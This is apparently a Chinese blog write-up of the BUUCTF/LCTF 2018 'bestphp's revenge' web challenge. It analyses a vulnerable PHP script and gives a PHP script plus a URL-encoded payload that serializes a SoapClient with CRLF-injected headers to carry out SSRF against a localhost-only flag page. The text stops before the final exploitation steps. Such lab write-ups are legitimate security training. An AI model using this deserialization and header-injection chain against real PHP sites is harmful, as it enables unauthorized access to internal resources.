135,【2】 buuctf web bestphp‘s revenge

进入靶场

分析代码

php 复制代码
<?php
// 此函数用于高亮显示当前文件(即包含此代码的 PHP 文件)的源代码,常用于调试或展示代码结构。
highlight_file(__FILE__);

// 定义一个变量 $b,其值为字符串 'implode',implode 是 PHP 中的一个内置函数,用于将数组元素组合成一个字符串。
$b = 'implode';

// 通过 call_user_func 函数调用由用户通过 GET 请求传入的参数 'f' 所指定的函数,并将 POST 请求的数据作为参数传递给该函数。
call_user_func($_GET['f'], $_POST);

// 启动一个新的会话或者继续当前的会话,用于在多个页面之间存储和共享用户数据。
session_start();

// 检查是否通过 GET 请求传入了名为 'name' 的参数。
if (isset($_GET['name'])) {
    // 如果存在 'name' 参数,则将其值存储到会话变量 $_SESSION['name'] 中。
    $_SESSION['name'] = $_GET['name'];
}

// 打印出当前会话变量的详细信息,用于调试目的,显示会话中存储的所有数据。
var_dump($_SESSION);

// 创建一个数组 $a,该数组包含两个元素:第一个元素是会话变量 $_SESSION 中的第一个值(通过 reset 函数获取),第二个元素是字符串 'welcome_to_the_lctf2018'。
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');

// 调用之前定义的变量 $b 所代表的函数(即 implode 函数),将数组 $a 的元素组合成一个字符串。
// 不过这里没有对 implode 函数的返回值进行任何处理,组合后的字符串没有被使用。
call_user_func($b, $a);
?>

这行代码执行后输出了 array(0) { }。这是 var_dump 函数对 $_SESSION 变量进行输出的结果
注意:当使用 session_start() 开启会话并设置会话变量后,PHP 会在会话结束时自动将会话数据序列化并存储到指定的会话存储位置 ,在本段代码中,意味着name需要进行反序列化操作
还 得知我们通过get方式传递函数名给f

通过post方式传递给函数f的参数

通过get方式传递的还有参数name

既然用到了post就先抓包

随意提交内容后,发现最后只有名字提交的参数会显示在页面上,而虽然在源代码里允许我们闯入函数名和参数,但是它不会在页面上显示。反应过来源代码里面没有输出。

想获得更多的信息,显然查看源代码和抓包是没有用的,所以我们试着扫描一下目录。看看有没有哪些可以访问到的文件,我用bp

only localhost can get flag!session_start(); echo 'only localhost can get flag!'; flag = 'LCTF{\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*}'; if(_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ _SESSION\['flag'\] = flag; } only localhost can get flag!

本地代码肯定是要提交的,所以我们在 name 的参数里面提交,刚好进行反序列化

那就用 PHP 脚本实现

php 复制代码
<?php

$target ='http://127.0.0.1/flag.php';

$b = new SoapClient(null,array('location'=>$target,

'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n",// r n 也就是空行回车

'uri' => "http://127.0.0.1/"));

$se = serialize($b);

echo "|" . urlencode($se);

?>

|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

相关推荐
用户962377954482 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机5 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机5 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954486 小时前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star6 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户9623779544810 小时前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
曲幽10 小时前
FastAPI分布式系统实战:拆解分布式系统中常见问题及解决方案
redis·python·fastapi·web·httpx·lock·asyncio
曲幽1 天前
FastAPI压力测试实战:Locust模拟真实用户并发及优化建议
python·fastapi·web·locust·asyncio·test·uvicorn·workers
cipher2 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
曲幽2 天前
FastAPI实战:打造本地文生图接口,ollama+diffusers让AI绘画更听话
python·fastapi·web·cors·diffusers·lcm·ollama·dreamshaper8·txt2img